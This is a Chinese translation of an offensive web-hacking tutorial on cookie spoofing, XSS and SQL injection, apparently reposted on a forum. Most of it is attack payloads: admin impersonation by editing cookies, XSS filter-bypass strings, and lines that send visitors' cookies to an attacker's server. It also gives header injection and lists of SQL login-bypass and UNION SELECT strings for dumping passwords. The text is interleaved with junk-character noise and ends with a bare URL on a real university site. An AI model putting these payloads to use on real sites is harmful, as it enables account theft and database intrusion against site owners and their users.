XSS & SQL注入

admin

XSS & SQL注入
; ]/ O% X4 ^7 n% ^) S* n. N/ M- d0 V1 n文章作者：CyberPhreak
  y! {6 ~' X* c4 V# V/ w, d4 R译文作者：黯魂 [S.S.T]

& w3 B  v0 j8 S; Q
XXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
. x( h3 Y+ x' Q9 I; S' K- w6 dX Web Security - XSS & more X
* j$ c$ }  b7 i' f$ MXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
; f. k. Y% c! {+ O3 a2 j+ h# e
' g* b/ P& T! X5 Q3 B' I$ q+ H
/ |/ g4 b7 ]. a% m~介绍

! ?# x6 l& `$ K, `* ]9 c+ x在这篇文章中我将说明所有关于XSS以及更多相关的知识.通过这篇文档,我希望能让你明白什么是XSS,为什么使用XSS,以及怎样使用XSS.一旦你学会了,你将需要发挥自己的创造力,因为大多数人都修补了简单的XSS漏洞.但是他们所忘记做的是修补比XSS的一个字符串更多的漏洞,并且php中特殊安全机制被用来防御XSS,而取代他们自己的方法.同时我将阐述的不仅仅是XSS,而是所有的web安全.
5 X( }: x/ d8 g: z0 b; ^
XXXXXXXXXXXXXXXXXXXXX
0 g( R4 j. ?0 @5 T" x, HX Table OF Contents X
XXXXXXXXXXXXXXXXXXXXX

XXXXXXXXXXXXXXXXXXXX
) k% |5 P+ m! j1 [1 G9 @X Cookie Editing X
, ]1 C# g& N8 n7 F  K9 D4 F# MX XSS X
! M9 Z$ C& o- p! F$ FX SQL Injection X
+ C: F  _3 s& NXXXXXXXXXXXXXXXXXXXX

~什么是cookie

cookie就是一块数据.一旦你浏览一个站点并且注册一个帐号,一个cookie就被设置以记录你的信息.cookie仅仅保存你登录的信息以使站点检测以前你是否登录过,如果不是,它就会检测你的用户名和密码的正确性,然后登录.比如说在一个夜总会,你买了一张票,他们就会给你一张卡.因此你可以进进出出而不用每次都买票.而cookies比你所能看到的要复杂得多.夜总会只能记住你一晚上,但是cookies却能记住你一辈子.

~警告&欺骗

那么现在你知道了cookie是什么...你如何看待它们?事实上,cookie编辑(修改)是最简单的方法之一.只要有一个浏览器,你就能够查看和编辑cookies,并且只需要一些基础的javascript知识.打开你的浏览器然后随便去一个网站吧,登录...现在输入javascript:alert(document.cookie).这时你应该可以看见一个用户名和密码.然而大多数站点现在都不使用cookies,而使用sessions.很遗憾,sessions不能被修改(服务端可以),不像cookies,一旦你修改了一个cookie你就可以欺骗你自己.现在让我们开始欺骗...假设你看到了一个警告框并且看到一些像这样的内容:
: t, C7 W9 k% i3 D
strusername=cnsst;strpassword=cnsst

此时假设你知道'bitch'是一个管理员,可是你不知道密码. 由于脆弱的安全机制你不需要密码:javascript:void(document.cookie="strusername=bitch")
; g& A' b* h$ J! @7 e4 _7 l现在输入:javascript:alert(document.cookie).那几乎非常接近cookie修改了...

- p- a. P* j3 Q~什么是XSS
5 T3 R' W% R- d( _( G
/ R9 r: A+ s9 u/ l$ PXSS,或者CSS,不管你更喜欢怎样称呼它,XSS(CSS)都代表着跨站脚本.基本上意思就是你能以任何方式注入脚本,来让它完成你想要做的.通过XSS你也可以截获输入信息,像用户名,密码以及cookies.这都将被讨论,所以接下来将会有很多例子,我们这篇文章应该能够帮你在XSS上发挥自己的创造力.

~为什么使用XSS
& J: V# `' ~* d8 `4 H: {
很明显的问题,通过XSS你能在客户端和服务器端执行任何类型的脚本.然而XSS却不仅仅局限于执行脚本上,还能截获输入.输入类似:<input name="name" type="name">
你通过XSS截获输入,然后通过一个秘密文件把截获到的信息发送向你的站点.而这一切绝不是XSS所能实现的全部作用.XSS还能截获cookies.Cookies保存着有价值的信息,像用户名,密码等等.

~让我们开始吧…

我假定你知道html和javascript,而php知识也有帮助,但却不是必要的.让我们从这个php脚本开始.
& T2 j3 q2 y$ y3 v8 H" ]/ J
( q  @) k; M+ a% ?. @" U4 z0 X/ _XSS--跨站脚本&lt;html&gt;
. c  }9 L  Y9 R* ?! x) `1 ~9 I( `5 [
&lt;body&gt;

&lt;form action="" method="GET"&gt;

&lt;!-- 我使用的GET方法,因为当我们利用的时候更容易练习. --&gt;

1 z& x, s. n/ B# b2 ]  j) ?Script: &lt;input name="name" type="name"&gt;
# O+ e8 [6 M3 ~" T( h# q
&lt;input type="submit" value="submit"&gt;
+ o3 H  U2 v6 n. Y5 I5 L, R
- l* `; G, W% B* Y&lt;/form&gt;

&lt;/body&gt;
: z, P" f  z  @! |, u
&lt;/html&gt;


* }- o5 \/ j* g, t. `
&lt;?php
! c8 H! W+ S% W; N' k
' E1 {$ ?, \) z5 I2 b$name = $_GET['name'];
5 x5 M- H! Z* B* k6 f' L
( y3 J" `7 Z/ T' kecho("Hello $name");

?&gt;
复制代码OK,我们应该都知道上面的代码有什么用...这是一个非常奇怪的脚本,没有一个人会在自己的站点上使用它(至少我没见过),但是它对初学者理解原理却真的很有用.来看看我输入后所得到的信息:
& a' a, S4 o3 C% a& W% Q! `7 c
& G% \/ m" w9 D  H2 y8 pcnsst
" F8 r5 T$ ?+ c$ r"Hello cnsst!"

9 {. k/ O( L3 }$ V6 L7 Z: z引号内的信息就是输出信息..注意看,现在我输入:
<script>alert(document.cookie)</script>
. |  u; Q8 w& g7 P
; N: N1 I- }" d$ B1 t5 V7 L2 d那么它将会弹出document.cookie!所以它是易受XSS攻击的!
+ P! R# p5 r( T8 ^; v* @
4 r2 j3 N5 {$ P7 z/ S4 C8 e现在我们已经对XSS有了一点了解,那让我们理解它.首先,脚本做的是取得你的输入然后粘贴它.嗯...也就是说我们能输入任何数据.所以?等等...任何数据...好的,你想问客户端和服务器端分别有什么语言? 让我告诉你,基本上客户端语言是建立在你客户端浏览器之上的:JavaScript,html, VBScript等等...

# }4 [: |- S, a: p4 F服务器端语言在另一边,不是建立在你客户端之上的,而建立在服务器之上,有php,asp等等...
1 |. i0 I5 p! |! \
' @$ x# W( `& N8 I  w已有一些方法注入php,稍后我将说明.现在先想想这怎样才能对我们有帮助?注入javascript?简单.比如说你正在编写一个网站程序,由于是你的站点,所以你能使用所有你想使用的javascript(JS).因此其他任何人也可以,因为XSS允许你让网站运行你想要运行的任何脚本.

5 Y* {( W" ^5 t6 G: p让我们看一个稍微复杂点的例子!
) H5 g4 e, Y& A2 P0 n6 Z  \4 x
假设你已经输入了<script>alert(document.cookie)</script>,并且回显是这样的:
scriptalert(document.cookie)/script
2 R$ F+ B5 l+ I) C或者可能是这样的:
$ t* @  v* t- W; v7 l0 }& L; E; Hscriptalertdocument.cookie/script
. v4 V( l9 Y* |$ k5 b) p
* @' i' _; N8 v; E* x可以看出更难利用了...不过有很多方法使用XSS,这只是其中一种.而且是其中最烂的方法之一.你看到当中的"<>"都被空字符" "替换了.
! D6 F8 R. s. s! T9 S6 ^: }
6 o) ?4 n) U# w5 E7 r让我们继续利用:
<<script>>alert(document.cookie)<</script>>

你的输出将弹出document.cookie.
- W) Q8 \' n# U: k
, q6 ~- R# d% H( f现在来看看更狠的:
: r* A$ X* E# [1 D/ y<<script>>alert((document.cookie))<<//script>>
! ?+ t' V; s6 Y& _

% K9 @6 y, P8 H' m. q  o6 t他们可能会替换所有的,或者只是"<>".所以如果一对不能得以执行,另一对就可以.现在,如果你看到:
scriptalertdocument.cookie/script
1 n" @! D" G# O4 T: E- B或者 <<<script>>>alert(document.cookie)<<</script>>>  
; x5 X9 [0 H. M0 \: O
& L9 O; t9 C' Z( Y他们可能替换2对来欺骗你,或者替换一些字母.试着用你自己的方法来利用...你输入:
+ x$ A2 V. M. E3 x<script>alert(document.cookie)</script>
+ ?3 i+ k, B  W) u. |0 @
+ ]2 T# @5 I/ \5 b, c" O( X4 P输出像这样:srplert(document.cookie)srp
2 W  v9 e0 P  I+ L$ s, G% X- o
仔细观察,你就会发现document.cookie中并没有什么被替换.为什么呢? 因为他们并不清楚你想要alert什么,以及你想做什么.所以他们只是猜测,就只阻止了"<>"以及script部分.怎么绕过?看看这个:
6 ?% c" p/ W4 P) h) J<<sccriiptt>>aalert(document.cookie)<<//sccriiptt>>
& |% N( U" P( R) B- d7 _) u
所有重复多余的部分刚好被替换!现在让我们来点更高级的!
% M9 S) A* j. ?' R2 g& Z# Y. ~. V
这次他们使用的仍然是替换,但是却检查了整个字符串!例如:
<script>alert(document.cookie)</script>

输出将是:
# |: D$ R& x4 U7 qscriptalert(document.cookie)script

看到这,你激动地说,"我知道该怎么做了!" OK,让我们按照你的方法来重新构造:
<<script>>alert(document.cookie)<</script>>
8 ~( ]# Q3 S& R3 H' C
9 k+ F: _1 M" w; x2 _4 ]4 c( s输出:scriptalert(document.cookie)script. 这时你可能会继续增加更多的<>.可是,他们替换了任何"<>",无论你输入多少个...看到我说"任何"了吗?使用下面这个例子:

<
script
* P0 N) W% R5 s7 V7 m. Y4 t) A>
( y, s' h. {' N, T2 _alert
0 p4 h- u2 z; L  P0 W# g$ M+ \* D: P(
document
.
cookie
)
* W  b) j. f% b<
/ W- i1 o8 Y( I( Z, b  F2 S/
script
, b' R4 p' i0 A1 z: q* A7 }, J- H>


5 K7 J* R( h' A7 k+ q' f" P看看它,它没有替换"<>",它替换代码关键字.所以即便你写的是一句没有"<>"的代码,将仍然被替换,这就是我们为什么这样写的原因.假如对方使用更严格的标准,替换任何类型的代码,甚至是"alert"! 我们又该怎么改进呢?看看这个:
* K! r3 H7 s. C2 y6 R6 U<
s
/ r$ Y+ w% r3 I' f) X) wc
r
: m% {4 T0 Q9 ~: p) y  i+ |i
8 S7 L% t. h& |6 o- ~p
t
! V% ^0 t2 X$ Z>
7 T/ k5 Q; b  k( ?: P! x" y5 Z9 w0 ~a
l
e
r
) H! r. T4 f! \3 l# y* J3 dt
(
6 l3 A' L# Z2 f" q0 i* ^  td
' u9 z0 N2 o' x. |  f, n3 x( Qo
c
u
m
e
+ Q3 Q* \2 V& R; b( f; q: fn
t
/ u1 E8 b/ `. K0 L. k# @: n- F.
c
* I  o3 x) a. \; Ao
o
k
i
e
)
<
  \  m, e/ E% h8 |! k6 d/
s
: L: S* s+ E) d. F: \9 {& }c
! I' f7 S$ f7 Q* t/ V5 I. ~7 Sr
6 u" v! d: n( H0 bi
p
t
" }# r( c7 w( G/
9 P6 C9 {% g7 F6 J$ s! B, o" C9 B>
. L* a7 c' j$ D; S/ o% k8 H4 J! ]) K
3 D- l7 ^8 {& I- i2 D这下应该可以了,但是如果他们仍然替换"<",你可以增加2对"<< >>"(并且你可以用任何字符取代document.cookie)
8 S) N. h2 o6 a, e$ v
还有更多我可以演示的替换,但是我教你的只是想让你发挥自己的创造力.

现在让我来讲讲其他XSS方法.前面我们已经讨论了客户端XSS,那么现在就来看看服务器端XSS.
( \1 `$ ]/ |. w5 K6 x! P" G
首先让我说明它们之间的区别.客户端是从你浏览器经解释语言,如JavaScript (JS) VBScript (VBS)等而看到的.服务器端XSS是通过来自服务器端的语言,如php,asp等的XSS.客户端通过浏览器查看,服务器端通过服务器查看.

我们已经学会了怎样构造客户端XSS,而构造服务器端我们必须注入脚本到服务器上.要完成这个,我们需要找到一个像任何XSS的脚本,但是这个脚本能够保存你的XSS到服务器中.现在,假设你在一个网站上发表了一篇文章,现在要做的是取代文章,用XSS,为什么我们应该用JavaScript?为什么不用php?但是先让我给你看点东西.
document.forms(0).action ="http://myserver/myscript.php
这既能在服务器端也能在客户端,没有关系.因此你的脚本将复制他们所输入的信息到那个表单中,并保存在我们站点上的一个*.txt文件中.

再次假设你在网站上注册了一个帐号,并且可以自定义资料...
) J1 W2 A3 o/ C' a6 ?document.images(0).src="http://myserver/cookie.php"+document.cookie.
或者如果你有空间可以存放指向自定义内容的链接,你可以输入:
- k$ u* q( ^1 I& Z7 Wjavascript:location.href="http://myserver/cookie.php"+document.cookie
这将截获访问我们资料的用户的cookie.这可以用于任何地方而不仅仅在资料上,它只是一个例子.
7 k5 E% G- P* t, d+ a6 ]. h" g* p
, U" t2 ^" x1 S( E有时一个站点会回显你的UserAgent和Referer...现在让我们在DOS提示符下或者命令行窗口中试一试一些XSS,
telnet example.com
GET /page/toplacewhere_itechos_your_useragent.php HTTP/1.1
5 C$ S& h) P8 n6 l8 D- s2 t% `& V( i7 }User-Agent: &lt;script&gt;alert(document.cookie)&lt;/script&gt;
Referer: &lt;script&gt;alert(document.cookie)&lt;/script&gt;
8 L4 u0 T' c9 @. ?  r* \* x~什么是SQL注入

) M$ X. |; J) Q( tSQL注入,网站中最大的安全问题之一.那么到底什么是SQL注入?其实也就是注入SQL.现在让我们来挖掘不同级别的SQL漏洞.假设你有一个像这样的登录页面:&lt;html&gt;

* U# f7 i+ R: i% p# R( F& a' `4 s, @! s&lt;body&gt;

&lt;form action="" method="POST"&gt;
5 A- r- V) G. _6 X# u7 ]( Z' y. U
Username: &lt;input name="name" type="name"&gt;
+ u9 |) |3 t2 ?5 m2 o" [6 q
Password: &lt;input name="password" type="password"&gt;
1 S8 i0 _  k) {/ W9 y; y
&lt;input type="submit" type="submit" value="Submit"&gt;

$ Y4 M7 Q6 z! s0 a$ `  x$ l/ z&lt;/form&gt;
  F4 g2 a* ^, P8 g) C3 S
( [) P- i8 ?2 }: x; L&lt;/body&gt;

&lt;/html&gt;
复制代码这里面有一个XSS漏洞,但是不用担心它,没有办法猜出或者破解出密码.所以,我们该怎么办?SQL注入!
2 l7 C9 n. k) T% X, p" e% ^# ~
2 z. s& U4 T( Z最简单的攻击是在用户名和密码那里输入"'".如果没有保护机制,此时你应该得到一个错误信息.如果你得到了,它就是极易受攻击的.可是错误信息毫无价值,除非你知道如何利用它.所以,我会给你一个你可以使用的注入列表,以便在你得到一个单引号的错误信息时使用.

- c9 A) o) Z0 ?8 Z6 A'='
'OR 1=1--
'OR a=a--
'OR'
7 u8 O2 l; ?6 _/ n# x
0 q- G3 g' L# ?3 U! c+ H自从人们增强安全性以后,现在这些注入就很难发挥作用了,但是下面这个列表却是很多人在安全列表里没有注意到的:
' K) U- G' l% k6 J- z! {
# W/ k/ K. l# L5 I'OR''='
' \2 `+ r/ x& Z  F% o# I+ ~1 g& Q'OR"="
'OR'="
'OR '="
'OR "='
'OR ''='
4 F& ^) M' f1 G! T0 l'OR '=''
'OR "=''
  {. _+ U% J6 V+ B'OR ''="

" X$ e' u$ }) u' Q0 J
~
现在让我说明UNION ALL SELECT声明,这将选出数据库中的一个表...所显示的内容取决于你所选择的列.
& {" b. _8 M' E. u' p9 ZUNION ALL SELECT username,password FROM users

这个查询语句将执行,但是….如果毫无作用呢?
; s. K* [# _" @+ A! H7 aUNION ALL SELECT username,password FROM users WHERE username='OR "='
4 E; N$ N5 l5 |+ pAND password='OR "='
& k& E0 N0 h) U! ]4 U
你可能使用其他字符来替代'OR "='以注入存在的注入点.可是首先考虑一下,你是怎么知道表名的?实际上,你发现了一个SQL漏洞,它给了你错误信息,而错误信息包含了表名.

一旦你发现了漏洞,你就会按照习惯去用类似'OR "='的方法去进行注入,以得到表名.有时候你想从表中查询一些有用的数据,你却不得不选择所有的表,因为你并不知道所要查询的数据在哪个表里.下面的例子中存在20个不同表名的表,你试图查询一个ip的列表:
, h6 O  g% U' r( _- c4 fUNION ALL SELECT
0 m4 p: @8 W6 b, x; p  ^; N: \; Pip,ip,ip,ip,ip,ip,ip,ip,ip,ip,ip,ip,ip,ip,ip,ip,ip,ip,ip,ip FROM logs
- O8 w- u" O" V6 \' O# iWHERE ip='OR''="

现在你看到这个了吗?(我确信你已经看到了)
http://example.com/index.php?article=34
那将浏览Id为34的文章...让我们用"'"替换34:
, z$ i; j+ _# m% X% Whttp://example.com/index.php?article='

2 E9 }# t1 \; T4 E
4 w6 q; j- {! R现在,记住我所说的,大多数人都没有意识到'所带来的不安全性,你总是能够尝试不同的注入方法,这里是一些例子:
http://example.com/index.php?article='
; d# a6 y# c% f) ^+ |http://example.com/index.php?article='='
http://example.com/index.php?article='OR 1=1--
http://example.com/index.php?article='OR a=a--
http://example.com/index.php?article='OR '="
http://example.com/index.php?article='OR "='
http://example.com/index.php?article='OR ''='
5 |& g6 \! z9 A2 G: R; Q) o4 Ohttp://example.com/index.php?article='OR '=''
9 V( f# n& N; N% O6 Ghttp://example.com/index.php?article='OR''='
http://example.com/index.php?article='OR"'='
9 r! l' A, X) X: U4 b( [+ ]: S5 g" ^http://example.com/index.php?article='OR"''='
0 N2 Q7 \- j  w" A) p+ A% g* |
4 m( \4 g9 q4 ?. I- @4 J7 M+ Y$ K! {尽情发挥自己的创造力!
! @2 P' p4 M9 O: c, z2 m) Rhttp://www.ie.tsinghua.edu.cn/notice/show.php?id=704